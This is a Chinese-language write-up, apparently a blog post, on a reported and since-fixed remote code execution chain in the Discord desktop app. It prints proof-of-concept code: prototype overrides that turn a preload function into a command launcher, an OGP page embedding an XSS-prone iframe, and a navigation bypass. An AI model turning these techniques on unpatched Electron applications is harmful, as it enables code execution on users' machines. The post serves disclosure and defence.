Discord桌面应用远程代码执行漏洞分析

本文详细分析了Discord桌面应用中存在的远程代码执行漏洞,该漏洞通过组合多个安全问题实现,包括缺失contextIsolation、iframe嵌入XSS以及导航限制绕过。

Discord桌面应用RCE漏洞分析

几个月前,我在Discord桌面应用中发现了一个远程代码执行漏洞,并通过其漏洞赏金计划进行了报告。这个RCE漏洞的有趣之处在于它需要组合多个漏洞才能实现。本文将分享详细的技术细节。

选择Discord作为目标的原因

我当时想研究Electron应用的安全漏洞,于是寻找提供Electron应用漏洞赏金的项目,最终选择了Discord。同时,作为Discord用户,我也想确认自己使用的应用是否安全。

发现的漏洞

我主要发现了以下三个漏洞,通过组合它们实现了RCE:

  1. 缺失contextIsolation
  2. iframe嵌入中的XSS
  3. 导航限制绕过(CVE-2020-15174)

缺失contextIsolation

在测试Electron应用时,我首先检查了用于创建浏览器窗口的BrowserWindow API选项。通过分析这些选项,可以评估在渲染器中执行任意JavaScript时实现RCE的可能性。

Discord的Electron应用虽然不是开源项目,但其JavaScript代码以asar格式保存在本地,解压后即可阅读。

主窗口使用了以下选项:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
const mainWindowOptions = {
  title: 'Discord',
  backgroundColor: getBackgroundColor(),
  width: DEFAULT_WIDTH,
  height: DEFAULT_HEIGHT,
  minWidth: MIN_WIDTH,
  minHeight: MIN_HEIGHT,
  transparent: false,
  frame: false,
  resizable: true,
  show: isVisible,
  webPreferences: {
    blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
    nodeIntegration: false,
    preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
    nativeWindowOpen: true,
    enableRemoteModule: false,
    spellcheck: true
  }
};

其中最重要的是nodeIntegration和contextIsolation选项。从代码中可以看出,nodeIntegration设为false,而contextIsolation保持默认值false。

如果nodeIntegration设为true,网页JavaScript可以直接通过require()使用Node.js功能。例如在Windows上执行calc应用:

1
2
3
<script>
  require('child_process').exec('calc');
</script>

本次nodeIntegration设为false,因此无法直接通过require()使用Node.js功能。但通过禁用contextIsolation,网页JavaScript仍可能影响渲染器中Electron内部JavaScript代码的执行。

contextIsolation禁用时,网页JavaScript可以覆盖JavaScript内置方法(如Array.prototype.join),从而干扰外部网页的JavaScript代码执行。这种行为很危险,因为Electron允许外部JavaScript代码使用Node.js功能,无论nodeIntegration设置如何。

这种技巧最初由Cure53在2016年的渗透测试中发现(我也参与了该测试),之后我们报告给Electron团队并引入了contextIsolation功能。

contextIsolation通过在网页和外部JavaScript代码之间引入隔离的上下文,防止互相影响。这是消除RCE可能性的必要功能,但在Discord中被禁用。

利用preload脚本实现RCE

在检查preload脚本时,我发现Discord通过DiscordNative.nativeModules.requireModule(‘MODULE-NAME’)向网页暴露了允许调用的模块功能。

虽然不能直接使用child_process等模块实现RCE,但通过覆盖JavaScript内置方法干扰暴露模块的执行,仍可实现RCE。

以下是PoC代码。通过覆盖RegExp.prototype.test和Array.prototype.join,调用"discord_utils"模块中的getGPUDriverVersions函数可以弹出calc应用:

1
2
3
4
5
6
7
RegExp.prototype.test=function(){
    return false;
}
Array.prototype.join=function(){
    return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

getGPUDriverVersions函数尝试使用"execa"库执行程序:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
module.exports.getGPUDriverVersions = async () => {
  if (process.platform !== 'win32') {
    return {};
  }
  const result = {};
  const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;
  try {
    result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
  } catch (e) {
    result.nvidia = {error: e.toString()};
  }
  return result;
};

通常execa会执行nvidiaSmiPath指定的"nvidia-smi.exe",但由于覆盖了RegExp.prototype.test和Array.prototype.join,参数在执行过程中被替换为"calc"。

iframe嵌入中的XSS

接下来需要找到在应用中执行JavaScript的方法。我检查了自动链接和Markdown功能,但没发现问题,于是转向iframe嵌入功能。当发布YouTube等URL时,Discord会获取OGP信息并显示页面标题、描述等内容。

Discord从OGP提取视频URL,只有允许域且符合嵌入页面格式的URL才会被iframe嵌入。

通过检查CSP的frame-src指令,我发现sketchfab.com可以嵌入iframe,并在其3D模型页脚发现DOM型XSS。

以下是PoC,发布此URL到聊天后,Sketchfab会嵌入iframe,点击几次后执行任意JavaScript:

1
2
3
4
5
6
7
8
9
<head>
    <meta charset="utf-8">
    <meta property="og:title" content="RCE DEMO">
    [...]
    <meta property="og:video:url" content="https://sketchfab.com/models/2b198209466d43328169d2d14a4392bb/embed">
    <meta property="og:video:type" content="text/html">
    <meta property="og:video:width" content="1280">
    <meta property="og:video:height" content="720">
</head>

但JavaScript仅在iframe中执行,需要从iframe跳转到顶级浏览上下文才能实现RCE。

导航限制绕过(CVE-2020-15174)

主进程代码中使用"new-window"和"will-navigate"事件限制导航:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => {
  e.preventDefault();
  if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) {
    popoutWindows.openOrFocusWindow(e, windowURL, frameName, options);
  } else {
    _electron.shell.openExternal(windowURL);
  }
});

mainWindow.webContents.on('will-navigate', (evt, url) => {
  if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) {
    evt.preventDefault();
  }
});

测试发现,从iframe发起的顶级导航在某些情况下不会被阻止。进一步研究发现,当iframe与顶级窗口同源时会触发"will-navigate"事件,但跨源时不会触发。我认为这是Electron的bug并报告给了Electron团队。

利用这个bug,可以通过iframe的XSS导航到包含RCE代码的页面,如top.location="//l0.cm/discord_calc.html"。

漏洞修复

这些问题通过Discord的漏洞赏金计划报告后:

  1. Discord首先禁用了Sketchfab嵌入
  2. 通过添加sandbox属性到iframe防止导航
  3. 最终启用了contextIsolation

Sketchfab的XSS通过其漏洞赏金计划快速修复。“will-navigate"事件的问题被标记为CVE-2020-15174并修复。

总结

这个案例展示了如何组合外部页面漏洞和Electron本身的bug实现RCE。希望本文能帮助开发者更好地保护Electron应用安全。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计